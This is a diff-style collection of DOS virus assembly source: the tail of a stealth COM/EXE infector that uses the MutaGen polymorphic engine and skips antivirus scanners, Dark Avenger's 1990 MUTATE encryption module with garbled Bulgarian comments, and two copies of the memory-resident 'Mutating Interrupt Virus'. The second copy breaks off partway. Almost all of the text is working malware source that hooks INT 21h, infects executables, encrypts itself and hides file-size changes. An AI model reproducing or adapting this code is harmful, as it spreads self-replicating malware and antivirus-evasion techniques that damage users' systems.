sub es:[di + 11h],VIRUS_SIZE + 328
|
||||
sbb word ptr es:[di + 13h],0
|
||||
|
||||
pop es:[di + 17h] ; restore file pointer
|
||||
pop es:[di + 15h]
|
||||
|
||||
pop dx cx ds ; now we move our 28 bytes
|
||||
push ds ; into theirs ...
|
||||
pop es
|
||||
|
||||
mov di,dx
|
||||
mov si,offset read_buffer
|
||||
push cs
|
||||
pop ds
|
||||
rep movsb ; done
|
||||
|
||||
push es ; restore DS
|
||||
pop ds
|
||||
|
||||
pop ax
|
||||
pop cx bx es es di si
|
||||
clc
|
||||
retf 2
|
||||
|
||||
no_read_stealth:
|
||||
pop cx bx ax es di si
|
||||
forget_it:
|
||||
jmp int_21_exit
|
||||
|
||||
fix_date:
|
||||
call int_21 ; get date
|
||||
jc an_error
|
||||
cmp dh,100 ; if years > 100,
|
||||
jb date_fixed ; fix it up
|
||||
ror dh,1
|
||||
sub dh,100
|
||||
rol dh,1
|
||||
date_fixed:
|
||||
iret
|
||||
an_error:
|
||||
retf 2
|
||||
|
||||
execute:
|
||||
push ax si
|
||||
mov si,dx
|
||||
find_ext:
|
||||
lodsb
|
||||
test al,al
|
||||
je not_av
|
||||
cmp al,'.'
|
||||
jne find_ext
|
||||
|
||||
cmp ds:[si],'XE' ; check for ??SCAN.EXE
|
||||
jne not_av
|
||||
cmp ds:[si - 3],'NA'
|
||||
jne f_prot
|
||||
cmp ds:[si - 5],'CS'
|
||||
je av_prog
|
||||
f_prot:
|
||||
cmp ds:[si - 3],'TO' ; check for F-PROT.EXE
|
||||
jne not_av
|
||||
cmp ds:[si - 5],'RP'
|
||||
jne not_av
|
||||
av_prog:
|
||||
pop si ax
|
||||
jmp int_21_exit
|
||||
not_av:
|
||||
pop si ax
|
||||
push ax bx cx dx si di ds es
|
||||
mov ax,3D00h
|
||||
call int_21
|
||||
jnc opened
|
||||
jmp cant_open
|
||||
opened:
|
||||
xchg bx,ax
|
||||
|
||||
push bx
|
||||
mov ax,1220h
|
||||
int 2Fh
|
||||
mov ax,1216h
|
||||
mov bl,es:[di]
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
mov word ptr es:[di + 2],2
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3Fh
|
||||
mov dx,offset read_buffer
|
||||
mov cx,28
|
||||
call int_21
|
||||
|
||||
cmp read_buffer,'ZM'
|
||||
jne infect_com
|
||||
jmp infect_exe
|
||||
|
||||
infect_com:
|
||||
cmp read_buffer[3],'GM'
|
||||
je dont_infect
|
||||
|
||||
mov ax,es:[di + 11h]
|
||||
mov es:[di + 15h],ax
|
||||
sub ax,3
|
||||
mov word ptr new_jump[1],ax
|
||||
|
||||
add ax,103h
|
||||
xchg dx,ax
|
||||
call write_it
|
||||
|
||||
mov cx,5
|
||||
mov dx,offset new_jump
|
||||
mov ah,40h
|
||||
call int_21
|
||||
stamp_n_close:
|
||||
mov cx,es:[di + 0Dh]
|
||||
mov dx,es:[di + 0Fh]
|
||||
ror dh,1
|
||||
add dh,100
|
||||
rol dh,1
|
||||
mov ax,5701h
|
||||
call int_21
|
||||
dont_infect:
|
||||
mov ah,3Eh
|
||||
call int_21
|
||||
cant_open:
|
||||
pop es ds di si dx cx bx ax
|
||||
jmp int_21_exit
|
||||
|
||||
infect_exe:
|
||||
cmp word ptr read_buffer[26],0
|
||||
ja dont_infect ; don't infect overlay .EXE
|
||||
|
||||
cmp word ptr read_buffer[16],'GM'
|
||||
je dont_infect ; infected already
|
||||
|
||||
push es di
|
||||
|
||||
push cs ; save this header
|
||||
pop es
|
||||
|
||||
mov si,offset read_buffer
|
||||
mov di,offset orig_header
|
||||
mov cx,14
|
||||
rep movsw
|
||||
|
||||
pop di es
|
||||
|
||||
mov ax,word ptr orig_header[20]
|
||||
mov exe_ip,ax
|
||||
mov ax,word ptr orig_header[22]
|
||||
mov exe_cs,ax
|
||||
mov ax,word ptr orig_header[14]
|
||||
mov exe_ss,ax
|
||||
mov ax,word ptr orig_header[16]
|
||||
mov exe_sp,ax
|
||||
|
||||
mov ax,es:[di + 11h] ; file size
|
||||
mov dx,es:[di + 13h]
|
||||
|
||||
push ax dx ; (save these for later)
|
||||
|
||||
push bx
|
||||
mov cl,12
|
||||
shl dx,cl
|
||||
mov bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
add dx,bx
|
||||
and ax,15
|
||||
pop bx
|
||||
|
||||
sub dx,word ptr orig_header[8]
|
||||
mov word ptr orig_header[22],dx
|
||||
mov word ptr orig_header[20],ax
|
||||
|
||||
add dx,80h ; give stack some space
|
||||
mov word ptr orig_header[14],dx
|
||||
mov word ptr orig_header[16],'GM'
|
||||
|
||||
pop dx ax
|
||||
add ax,VIRUS_SIZE + 28
|
||||
adc dx,0
|
||||
|
||||
mov cx,512 ; in pages
|
||||
div cx ; then save results
|
||||
inc ax
|
||||
mov word ptr orig_header[2],dx
|
||||
mov word ptr orig_header[4],ax
|
||||
|
||||
mov ax,4202h ; to EOF
|
||||
cwd
|
||||
xor cx,cx
|
||||
call int_21
|
||||
|
||||
mov dx,word ptr orig_header[20]
|
||||
call write_it
|
||||
|
||||
mov cx,28
|
||||
mov dx,offset orig_header
|
||||
mov ah,40h
|
||||
call int_21
|
||||
|
||||
jmp stamp_n_close
|
||||
|
||||
write_it:
|
||||
push dx
|
||||
mov ax,2524h ; trap int 24
|
||||
mov dx,offset int_24
|
||||
call int_21
|
||||
pop dx
|
||||
|
||||
push es di ; call MutaGen
|
||||
push cs
|
||||
pop es
|
||||
mov cx,VIRUS_SIZE
|
||||
mov di,offset encrypt_buffer
|
||||
mov si,offset virus_begin
|
||||
call _mutagen
|
||||
pop di es
|
||||
|
||||
mov si,cx
|
||||
mov ah,40h
|
||||
call int_21
|
||||
|
||||
sub si,VIRUS_SIZE + 300
|
||||
neg si
|
||||
mov cx,si
|
||||
mov ah,40h
|
||||
mov dx,offset encrypt_buffer + 200
|
||||
call int_21
|
||||
|
||||
mov cx,28 ; for stealth
|
||||
mov dx,offset read_buffer
|
||||
mov ah,40h
|
||||
call int_21
|
||||
|
||||
mov word ptr es:[di + 15h],0
|
||||
mov word ptr es:[di + 17h],0
|
||||
ret
|
||||
|
||||
db 'MutaGenic Agent ]I[',0
|
||||
|
||||
int_24: ; int 24 handler
|
||||
mov al,3
|
||||
iret
|
||||
|
||||
new_jump db 0E9h,00,00,4Dh,47h
|
||||
pop_buffer dw 0
|
||||
read_buffer dw 14 dup (20CDh)
|
||||
|
||||
virus_end equ $ + MGEN_SIZE
|
||||
VIRUS_SIZE equ virus_end - virus_begin
|
||||
|
||||
orig_header equ virus_end
|
||||
encrypt_buffer equ virus_end + 28
|
||||
end_heap equ virus_end + 28 + VIRUS_SIZE + 300
|
||||
|
||||
MEM_SIZE equ end_heap - start
|
||||
|
||||
code ends
|
||||
end start
|
|
@ -0,0 +1,188 @@
|
|||
page ,132
|
||||
name mutate
|
||||
title MUTATE - A Self-mutating Module for Viruses
|
||||
.radix 16
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
; This source code is a copyrighted material
|
||||
; (C) 1990 DARK AVENGER
|
||||
|
||||
org 100
|
||||
|
||||
timer equ 46C
|
||||
|
||||
start:
|
||||
jmp prog
|
||||
|
||||
; „¥ª®¤¨° ®±®¢ ² · ±² ¨ ®¯°¥¤¥«¿ ®¬¥° £¥¥° ¶¨¿² ¨ ¤°¥± v_entry.
|
||||
; ‡ ¤ ¯° ¢¨ ¯®±«¥¤®²®, ¢§¨¬¥ ®¯¥° ¤ JMP-a, ª®©²® ²°¿¡¢ ¤ ±²®¨
|
||||
; ¤°¥± 100, ².¥. ¯° ¢¥® ¥ ± ¬® § .COM ´ ©«®¢¥.
|
||||
|
||||
v_entry:
|
||||
xchg ax,bp
|
||||
mov si,100
|
||||
inc si
|
||||
add si,[si]
|
||||
mov di,si
|
||||
xor dx,dx
|
||||
mov cx,(top-encrypt)/2-1
|
||||
push cx
|
||||
calcgen:
|
||||
xor dx,[si+encrypt-v_entry+2]
|
||||
org $-1
|
||||
inc si
|
||||
inc si
|
||||
dec cx
|
||||
jns calcgen
|
||||
pop ax
|
||||
decrypt:
|
||||
xor [di+encrypt-v_entry+2],dx
|
||||
org $-1
|
||||
inc di
|
||||
inc di
|
||||
dec ax
|
||||
jns decrypt
|
||||
encrypt:
|
||||
xchg si,si ;’¥§¨ ¨±²°³ª¶¨¨ ± ¥®¡µ®¤¨¬¨
|
||||
xchg dx,dx
|
||||
add si,encrypt-top+2
|
||||
dec dx
|
||||
|
||||
; ’³ª ²°¿¡¢ ¤ ±¥ ±«®¦¨ ¨¨¶¨ «¨§¨° ¹ ² · ±² ¢¨°³± . <20> ° ¬¥²°¨:
|
||||
; DX = -®¬¥° £¥¥° ¶¨¿²
|
||||
; SI = ¤°¥± ¥²¨ª¥² v_entry.
|
||||
|
||||
; . . .
|
||||
prog:
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[timer]
|
||||
pop ds
|
||||
call mutate
|
||||
mov ax,4C00
|
||||
int 21
|
||||
|
||||
; ’ §¨ ¯®¤¯°®£° ¬ ±º§¤ ¢ ±«³· © ¬³² ¶¨¿ ¤¥ª®¤¨° ¹ ² · ±². <20> ° ¬¥²°¨:
|
||||
; AX = ±«³· ©® ·¨±«® (¢§¥²® ®² 0:46C)
|
||||
|
||||
mutate:
|
||||
cld
|
||||
xor dx,dx
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,90
|
||||
div cx
|
||||
call getcode
|
||||
mov ds:[15],al
|
||||
call getcode
|
||||
mov ds:[1E],al
|
||||
xchg ax,dx
|
||||
mov dl,6
|
||||
div dl
|
||||
mov si,offset muttbl
|
||||
mov bx,offset xlatbl1
|
||||
call buildblk
|
||||
mov [si],al
|
||||
inc si
|
||||
mov bx,offset xlatbl2
|
||||
call buildblk2
|
||||
mov bx,offset xlatbl3
|
||||
call buildblk2
|
||||
mov bx,offset muttbl-1
|
||||
mov si,offset xlatdat
|
||||
mov cx,xlatbl1-xlatdat
|
||||
nextgen:
|
||||
lodsb
|
||||
test al,al
|
||||
jz cantchg
|
||||
push ax
|
||||
and al,111b
|
||||
xlat
|
||||
mov ah,0F8
|
||||
xchg ax,dx
|
||||
pop ax
|
||||
push cx
|
||||
mov cl,3
|
||||
shr al,cl
|
||||
jz skipxlat
|
||||
xlat
|
||||
shl al,cl
|
||||
jz skipxlat
|
||||
xlat
|
||||
shl al,cl
|
||||
or dl,al
|
||||
mov dh,0c0
|
||||
skipxlat:
|
||||
pop cx
|
||||
and [si-(xlatdat+1-v_entry)],dh
|
||||
or [si-(xlatdat+1-v_entry)],dl
|
||||
cantchg:
|
||||
loop nextgen
|
||||
ret
|
||||
|
||||
buildblk2:
|
||||
mov al,ah
|
||||
buildblk:
|
||||
shr al,1
|
||||
mov dl,al
|
||||
push ax
|
||||
adc al,1
|
||||
cmp al,3
|
||||
jb setblk
|
||||
sub al,3
|
||||
setblk:
|
||||
or dl,al
|
||||
xlat
|
||||
mov [si],al
|
||||
inc si
|
||||
pop ax
|
||||
xlat
|
||||
mov [si],al
|
||||
inc si
|
||||
mov al,dl
|
||||
xor al,3
|
||||
xlat
|
||||
ret
|
||||
|
||||
getcode:
|
||||
shr dx,1
|
||||
mov al,79
|
||||
jnc got
|
||||
or al,100b
|
||||
got:
|
||||
ret
|
||||
|
||||
xlatdat db 0,4,0,0,4,0,26,0
|
||||
db 2c,0,9,2,0,0,2,0
|
||||
db 0e,0,4,4,2,0,0,3
|
||||
db 0,0f,0,5,5,3,0,0
|
||||
db 0,4,0,1
|
||||
|
||||
xlatbl1 db 0,1,2
|
||||
xlatbl2 db 3,6,7
|
||||
xlatbl3 db 7,4,5
|
||||
|
||||
chksum dw 1A03 ;Š®²°®« ±³¬ ¢¨°³± .
|
||||
; ‚<>ˆŒ€<C592>ˆ…! ’ §¨ ª®²°®« ±³¬ ²°¿¡¢ ¤ ±¥ ±¬¥²¥ °ºª . ’¿ ±¥ ±¬¿² ª ²®
|
||||
; ±¥ ¥XOR- ² ¢±¨·ª¨ 16-¡¨²®¢¨ ¤³¬¨ ¬¥¦¤³ encrypt ¨ top. <20>°®¿ ¨¬ ²°¿¡¢ ¤ ¡º¤¥
|
||||
; ¥·¥²® ·¨±«®, ®±¢¥ ²®¢ ± ¬¨¿ ¥²¨ª¥² chksum ²°¿¡¢ ¤ ¡º¤¥ £° ¨¶
|
||||
; ¤³¬ . „¨°¥ª²¨¢¨²¥ errnz ¢ ª° ¿ ´ ©« ®±¨£³°¿¢ ² ²®¢ . Ž±¢¥ ²®¢ ª® ¬¥¦¤³
|
||||
; encrypt ¨ top ¨¬ ¿ª ª¢¨ ¤ ¨ ¨«¨ ª®¤ ª®¨²® ±¥ ¯°®¬¥¿², ²¿ ²°¿¡¢ ¤ ±¥
|
||||
; ±¬¿² ¯® ®¯¨± ¨¿ «£®°¨²º¬ ¯°¨ ¢±¿ª® § ° §¿¢ ¥ ´ ©«.
|
||||
|
||||
; ’³ª ²°¿¡¢ ¤ ±¥ ±«®¦¨ ®±² « ² · ±² ®² ¢¨°³±
|
||||
|
||||
; . . .
|
||||
|
||||
top:
|
||||
.errnz (encrypt-v_entry) mod 2
|
||||
.errnz (top-encrypt) mod 4-2
|
||||
.errnz (top-v_entry) mod 2
|
||||
.errnz (chksum-v_entry) mod 2
|
||||
|
||||
muttbl db 7 dup(?) ;<3B> ¡®² ®¡« ±² § ¯®¤¯°®£° ¬ ² mutate
|
||||
|
||||
end start
|
||||
|
|
@ -0,0 +1,415 @@
|
|||
;****************************************************************************
|
||||
;* The Mutating Interrupt Virus -Soltan Griss-
|
||||
;* [RABID] -=+ Front 242 +=-
|
||||
;*
|
||||
;*
|
||||
;* Well this is my Third Release of many to come. This virus uses the latest
|
||||
;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing
|
||||
;* to special) is Mutate all int 21h (CD 21) to a random interrupt.
|
||||
;* Then before executation it will change it back to INT 21.
|
||||
;*
|
||||
;* Alot of people are wondering if RABID is Still around. YES. Wea reback and
|
||||
;* Kicking, although right now we have limited members, it soon will change.
|
||||
;*
|
||||
;*
|
||||
;* Many Thanks go out to Data Disruptor, who originally came up with the
|
||||
;* interrupt swapping idea.
|
||||
;*
|
||||
;*
|
||||
;* SOON TO COME: Why use conventional memory when do has left so many holes??
|
||||
;* Find out soon in one of our next RELEASES.
|
||||
;*
|
||||
;* A Real Mutating virus with moveable modular segments!!<G>!
|
||||
;*
|
||||
;*
|
||||
;*
|
||||
;* A Word of thanks go out to.
|
||||
;*
|
||||
;* YAM- Keep up the hard work. Alot of improvement come with time.
|
||||
;* Admiral Bailey. Waitinf for the next version of the IVP!
|
||||
;*
|
||||
;*
|
||||
;****************************************************************************
|
||||
|
||||
|
||||
|
||||
seg_a segment
|
||||
assume cs:seg_a,ds:seg_a,es:nothing
|
||||
|
||||
org 100h
|
||||
start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string
|
||||
|
||||
|
||||
vstart equ $
|
||||
key: dw 0 ;encryptor key.
|
||||
i_key: dw 12cdh ;Interrupt key
|
||||
call code_start
|
||||
|
||||
|
||||
code_start:
|
||||
pop si
|
||||
sub si,offset code_start ;get current infected files size
|
||||
mov bp,si
|
||||
|
||||
|
||||
crypter:
|
||||
mov cx,(vend-check)
|
||||
mov dh,byte ptr cs:[key+bp]
|
||||
mov si,offset check
|
||||
add si,bp
|
||||
loo: mov ah,byte ptr cs:[si] ;Decrypt the virus
|
||||
xor ah,dh
|
||||
mov byte ptr cs:[si],ah
|
||||
inc si
|
||||
loop loo
|
||||
|
||||
code:
|
||||
|
||||
mov si,offset check
|
||||
mov di,offset check
|
||||
mov cx,(vend-check)
|
||||
looper: mov ax,[si]
|
||||
cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back
|
||||
je change
|
||||
doit: mov [di],ax
|
||||
inc si
|
||||
inc di
|
||||
loop looper
|
||||
jmp check
|
||||
change: mov ax,21cdh
|
||||
jmp doit
|
||||
|
||||
check:
|
||||
mov ax,0F242h ;Check to see if we are already
|
||||
int 12h
|
||||
cmp bx,0F242h ;resident
|
||||
je Already_here
|
||||
|
||||
info: db 0
|
||||
load: ;Virus Id string so they NAME it
|
||||
; RIGHT!!!!
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
|
||||
mov ah,49h ;Release current Memory block
|
||||
int 12h
|
||||
|
||||
|
||||
mov ah,48h ;Request Hugh size of memory
|
||||
mov bx,0ffffh ;returns biggest size
|
||||
int 12h
|
||||
|
||||
|
||||
|
||||
mov ah,4ah
|
||||
sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1
|
||||
jc exit ;subtract virus size
|
||||
int 12h
|
||||
|
||||
|
||||
mov ah,48h
|
||||
mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16
|
||||
int 12h
|
||||
jc exit ;request last XXX pages
|
||||
;allocate it to virus
|
||||
|
||||
dec ax
|
||||
|
||||
push es
|
||||
|
||||
mov es,ax
|
||||
|
||||
mov byte ptr es:[0],'Z' ;make DOS the owner
|
||||
mov word ptr es:[1],8
|
||||
mov word ptr es:[3],(vend-vstart+15)/8 ;put size here
|
||||
sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current
|
||||
;memory
|
||||
inc ax
|
||||
|
||||
|
||||
lea si,[bp+offset vstart] ;copy it to new memory block
|
||||
xor di,di
|
||||
mov es,ax
|
||||
mov cx,(vend-vstart+5)/2
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
push ds
|
||||
lds ax,ds:[21h*4] ;swap vectors manually
|
||||
mov word ptr es:[old_21-vstart],ax
|
||||
mov word ptr es:[old_21-vstart+2],ds
|
||||
pop ds
|
||||
mov word ptr ds:[21h*4],(new_21-vstart)
|
||||
mov ds:[21h*4+2],es
|
||||
|
||||
exit:
|
||||
already_here:
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov si,offset buffer ;Copy five bytes back!
|
||||
add si,Bp
|
||||
mov di,100h
|
||||
movsw
|
||||
movsw
|
||||
movsb
|
||||
mov bp,100h
|
||||
jmp bp
|
||||
|
||||
|
||||
|
||||
;***************************************************************************
|
||||
|
||||
old_21: dw 0h,0h
|
||||
buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected
|
||||
old_date: dw 0 ;files 5 bytes
|
||||
old_time: dw 0
|
||||
jump_add: db 0E9h
|
||||
db 0,0
|
||||
db 0F2h,42h
|
||||
|
||||
new_21:
|
||||
cmp ax,0f242h ;Are we going resident?
|
||||
je SAY_YES
|
||||
cmp ax,4b00h ;Are we executing?
|
||||
je exec
|
||||
cmp ah,11h
|
||||
je hide_size ;doing a DIR??
|
||||
cmp ah,12h
|
||||
je hide_size
|
||||
jmp do_old
|
||||
exec: jmp exec2
|
||||
SAY_YES:mov bx,0f242h
|
||||
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
|
||||
ret
|
||||
|
||||
hide_size:
|
||||
pushf
|
||||
push cs
|
||||
call do_old ;get the current FCB
|
||||
cmp al,00h
|
||||
jnz dir_error ;jump if bad FCB
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
push ds
|
||||
push es ;undocumented get FCB
|
||||
mov ah,51h ;location
|
||||
int 12h
|
||||
mov es,bx ;get info from FCB
|
||||
cmp bx,es:[16h]
|
||||
jnz not_inf
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;get DTA
|
||||
int 12h
|
||||
pop ax
|
||||
inc al ;Check for extended FCB
|
||||
jnz normal_fcb
|
||||
add bx,7h
|
||||
normal_fcb:
|
||||
mov ax,es:[bx+17h]
|
||||
and ax,1fh
|
||||
xor al,01h ;check for 2 seconds
|
||||
jnz not_inf
|
||||
|
||||
and byte ptr es:[bx+17h],0e0h ;subtract virus size
|
||||
sub es:[bx+1dh],(vend-vstart)
|
||||
sbb es:[bx+1fh],ax
|
||||
not_inf:pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
dir_error:
|
||||
iret
|
||||
|
||||
exec2: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
|
||||
call infect ;Lets infect the file!!
|
||||
|
||||
backup: pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
jmp do_old ;go back to original load
|
||||
|
||||
|
||||
infect:
|
||||
mov ax,3d02h
|
||||
int 12h
|
||||
jc quit1 ;open the file
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
A_open: push cs
|
||||
pop ds
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx ;move file pointer to begining
|
||||
int 12h ;(FOR LATER MODIFICATION ONLY)
|
||||
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,5h
|
||||
mov dx,(buffer-vstart) ;load in the first 5 bytes
|
||||
int 12h
|
||||
jc quit1
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
|
||||
je quit1 ;EXE
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)+3],42F2h
|
||||
je quit1
|
||||
;if so then its infected
|
||||
|
||||
|
||||
jmp qqqq
|
||||
|
||||
quit1: jmp quit2
|
||||
|
||||
|
||||
qqqq: mov ax,5700h
|
||||
int 12h
|
||||
jc quit1
|
||||
|
||||
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
|
||||
mov word ptr cs:[(old_date-vstart)],dx ;and date
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx ;put file pointer at end
|
||||
int 12h
|
||||
jc quit1
|
||||
|
||||
|
||||
|
||||
mov cx,ax
|
||||
sub cx,3 ;write jump lenght to jump buffer
|
||||
add cx,4
|
||||
mov word ptr cs:[(jump_add+1-vstart)],cx
|
||||
|
||||
|
||||
|
||||
mov ah,2ch ;get random number for interrupt
|
||||
int 12h ;swapping
|
||||
cmp dh,03h ;don't like INT 3'S (1 byte only not 2)
|
||||
jne write_key
|
||||
inc dh
|
||||
|
||||
|
||||
write_key:
|
||||
|
||||
mov word ptr cs:[key-vstart],cx ;save encryption key
|
||||
mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key
|
||||
|
||||
mov si,(check-vstart) ;write from check to end
|
||||
mov di,(vend-vstart)
|
||||
mov cx,(vend-check)
|
||||
|
||||
topper: mov al,byte ptr cs:[(si)]
|
||||
cmp al,0cdh
|
||||
je changeit
|
||||
top2: mov byte ptr cs:[(di)],al
|
||||
tor: inc si ;this "mutating routine" is kind
|
||||
inc di ;messy but i'll improve it for version
|
||||
loop topper ;2.0
|
||||
jmp crypt
|
||||
changeit:
|
||||
mov byte ptr cs:[(di)],al
|
||||
inc di
|
||||
inc si
|
||||
dec cx
|
||||
mov al,byte ptr cs:[(si)]
|
||||
cmp al,21h
|
||||
jne top2
|
||||
mov byte ptr cs:[(di)],dh
|
||||
jmp tor
|
||||
|
||||
quit: jmp quit2
|
||||
|
||||
|
||||
crypt:
|
||||
|
||||
|
||||
|
||||
mov cx,(vend-check)
|
||||
mov dh,byte ptr cs:[key-vstart]
|
||||
mov si,(vend-vstart)
|
||||
lop: mov ah,byte ptr cs:[si]
|
||||
xor ah,dh ;Encrypt the code
|
||||
mov byte ptr cs:[si],ah
|
||||
inc si
|
||||
loop lop
|
||||
|
||||
|
||||
mov cx,(check-vstart)
|
||||
mov ah,40h ;write decrypting routine
|
||||
mov dx,(vstart-vstart) ;to file first
|
||||
int 12h
|
||||
jc quit
|
||||
|
||||
|
||||
mov cx,(vend-check) ;write the encrypted code
|
||||
mov ah,40h ; to the end of the file
|
||||
mov dx,(vend-vstart)
|
||||
int 12h
|
||||
jc quit
|
||||
|
||||
|
||||
mov ax,4200h ;move file pointer to the
|
||||
xor cx,cx ;begining to write the JMP
|
||||
xor dx,dx
|
||||
int 12h
|
||||
|
||||
|
||||
mov cx,5
|
||||
mov ah,40h ;write the JMP top the file
|
||||
mov dx,(jump_add-vstart)
|
||||
int 12h
|
||||
|
||||
jc quit
|
||||
|
||||
mov ax,5701h
|
||||
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
|
||||
mov word ptr dx,cs:[(old_date-vstart)]
|
||||
|
||||
and cl,0e0H
|
||||
inc cl ;change seconds to 2
|
||||
int 12h
|
||||
|
||||
|
||||
mov ah,3eh
|
||||
int 12h
|
||||
|
||||
|
||||
quit2: ret
|
||||
|
||||
|
||||
vend equ $
|
||||
nop
|
||||
nop
|
||||
|
||||
seg_a ends
|
||||
end start
|
||||
|
||||
|
||||
;WELL THATS IT.
|
||||
If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA)
|
|
@ -0,0 +1,416 @@
|
|||
;****************************************************************************
|
||||
;* The Mutating Interrupt Virus -Soltan Griss-
|
||||
;* [RABID] -=+ Front 242 +=-
|
||||
;*
|
||||
;*
|
||||
;* Well this is my Third Release of many to come. This virus uses the latest
|
||||
;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing
|
||||
;* to special) is Mutate all int 21h (CD 21) to a random interrupt.
|
||||
;* Then before executation it will change it back to INT 21.
|
||||
;*
|
||||
;* Alot of people are wondering if RABID is Still around. YES. Wea reback and
|
||||
;* Kicking, although right now we have limited members, it soon will change.
|
||||
;*
|
||||
;*
|
||||
;* Many Thanks go out to Data Disruptor, who originally came up with the
|
||||
;* interrupt swapping idea.
|
||||
;*
|
||||
;*
|
||||
;* SOON TO COME: Why use conventional memory when do has left so many holes??
|
||||
;* Find out soon in one of our next RELEASES.
|
||||
;*
|
||||
;* A Real Mutating virus with moveable modular segments!!<G>!
|
||||
;*
|
||||
;*
|
||||
;*
|
||||
;* A Word of thanks go out to.
|
||||
;*
|
||||
;* YAM- Keep up the hard work. Alot of improvement come with time.
|
||||
;* Admiral Bailey. Waitinf for the next version of the IVP!
|
||||
;*
|
||||
;*
|
||||
;****************************************************************************
|
||||
|
||||
|
||||
|
||||
seg_a segment
|
||||
assume cs:seg_a,ds:seg_a,es:nothing
|
||||
|
||||
org 100h
|
||||
start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string
|
||||
|
||||
|
||||
vstart equ $
|
||||
key: dw 0 ;encryptor key.
|
||||
i_key: dw 12cdh ;Interrupt key
|
||||
call code_start
|
||||
|
||||
|
||||
code_start:
|
||||
pop si
|
||||
sub si,offset code_start ;get current infected files size
|
||||
mov bp,si
|
||||
|
||||
|
||||
crypter:
|
||||
mov cx,(vend-check)
|
||||
mov dh,byte ptr cs:[key+bp]
|
||||
mov si,offset check
|
||||
add si,bp
|
||||
loo: mov ah,byte ptr cs:[si] ;Decrypt the virus
|
||||
xor ah,dh
|
||||
mov byte ptr cs:[si],ah
|
||||
inc si
|
||||
loop loo
|
||||
|
||||
code:
|
||||
|
||||
mov si,offset check
|
||||
mov di,offset check
|
||||
mov cx,(vend-check)
|
||||
looper: mov ax,[si]
|
||||
cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back
|
||||
je change
|
||||
doit: mov [di],ax
|
||||
inc si
|
||||
inc di
|
||||
loop looper
|
||||
jmp check
|
||||
change: mov ax,21cdh
|
||||
jmp doit
|
||||
|
||||
info: db 'The Mutating Interrupt Virus '
|
||||
db 'RABID`S Back and Kicking in `93 -Soltan Griss-'
|
||||
|
||||
check:
|
||||
mov ax,0F242h ;Check to see if we are already
|
||||
int 12h
|
||||
cmp bx,0F242h ;resident
|
||||
je Already_here
|
||||
load: ;Virus Id string so they NAME it
|
||||
; RIGHT!!!!
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
|
||||
mov ah,49h ;Release current Memory block
|
||||
int 12h
|
||||
|
||||
|
||||
mov ah,48h ;Request Hugh size of memory
|
||||
mov bx,0ffffh ;returns biggest size
|
||||
int 12h
|
||||
|
||||
|
||||
|
||||
mov ah,4ah
|
||||
sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1
|
||||
jc exit ;subtract virus size
|
||||
int 12h
|
||||
|
||||
|
||||
mov ah,48h
|
||||
mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16
|
||||
int 12h
|
||||
jc exit ;request last XXX pages
|
||||
;allocate it to virus
|
||||
|
||||
dec ax
|
||||
|
||||
push es
|
||||
|
||||
mov es,ax
|
||||
|
||||
mov byte ptr es:[0],'Z' ;make DOS the owner
|
||||
mov word ptr es:[1],8
|
||||
mov word ptr es:[3],(vend-vstart+15)/8 ;put size here
|
||||
sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current
|
||||
;memory
|
||||
inc ax
|
||||
|
||||
|
||||
lea si,[bp+offset vstart] ;copy it to new memory block
|
||||
xor di,di
|
||||
mov es,ax
|
||||
mov cx,(vend-vstart+5)/2
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
push ds
|
||||
lds ax,ds:[21h*4] ;swap vectors manually
|
||||
mov word ptr es:[old_21-vstart],ax
|
||||
mov word ptr es:[old_21-vstart+2],ds
|
||||
pop ds
|
||||
mov word ptr ds:[21h*4],(new_21-vstart)
|
||||
mov ds:[21h*4+2],es
|
||||
|
||||
exit:
|
||||
already_here:
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov si,offset buffer ;Copy five bytes back!
|
||||
add si,Bp
|
||||
mov di,100h
|
||||
movsw
|
||||
movsw
|
||||
movsb
|
||||
mov bp,100h
|
||||
jmp bp
|
||||
|
||||
|
